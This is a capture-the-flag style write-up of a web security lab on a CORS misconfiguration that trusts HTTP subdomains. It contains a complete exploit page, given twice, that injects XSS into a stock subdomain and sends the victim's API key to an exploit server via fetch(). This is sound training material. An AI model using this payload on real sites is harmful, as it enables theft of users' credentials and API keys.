CORS vulnerability with trusted insecure protocols

Description

The website of this lab has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol.

Reproduction and proof of concept

  1. Start Burp, foxyproxy, and with intercept off, log in with wiener:peter to the target site and access the account page.

  2. In Burp, review the history. The API key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.

  3. Send the request to Burp Repeater, and resubmit it with:

  • The origin header set to an arbitrary value

  • The origin header set to null

  • The origin header set to begin with the origin of the site

  • The origin header set to end with the origin of the site

The CORS configuration allows the latter two, hence access from arbitrary subdomains, both HTTPS and HTTP, possibly because some subdomain is involved somewhere on the site, one that could be vulnerable.

  1. Use HTTP history to find it.

CORS

  1. Open a product page, click Check stock. It is loaded using a HTTP URL on a subdomain, and the productID parameter is vulnerable to XSS.

CORS

  1. Create exploit (replacing lab-id and exploit-server-id):

<html>
    <body>
        <script>
            document.location="http://stock.lab-id.web-security-academy.net/?productId=<script>
            var req = new XMLHttpRequest();
            var url = 'https://lab-id.web-security-academy.net/';
            
            req.onreadystatechange = function () {
                if (req.readyState == XMLHttpRequest.DONE) {
                    fetch('https://exploit-server-id/log/key=' + req.responseText)
                };
            };
            
            req.open('get', url + 'accountDetails',true);
            req.withCredentials = true;
            req.send(null);</script>&storeId=1"
        </script>
    </body>
</html>

As one-liner with + and < in the closing tag of the inner script url-encoded:

<html>
    <body>
        <script>
            document.location="http://stock.lab-id.web-security-academy.net/?productId=<script>var req = new XMLHttpRequest();var url = 'https://lab-id.web-security-academy.net/';req.onreadystatechange = function () {if (req.readyState == XMLHttpRequest.DONE) {fetch('https://exploit-server-id/log/key=' %2b req.responseText)};};req.open('get', url %2b 'accountDetails',true);req.withCredentials = true;req.send(null);%3c/script>&storeId=1"
        </script>
    </body>
</html>
  1. Go to the exploit server and enter the exploit in the body field of the form.

CORS

  1. Click View exploit and check you land on the log page and your API key is in the URL.

  2. Deliver exploit to victim.

  3. Go to Access log

CORS

  1. Copy the administrator’s API key, and enter it as solution to the lab.

Exploitability

If an on-path attack (MitM) between server and victim was possible, a connection to an insecure subdomain could be hijacked, and malicious JavaScript injected to exploit the CORS configuration. Unfortunately, in this lab environment on-path is not possible, so we used an alternative way of injecting JavaScript into the subdomain.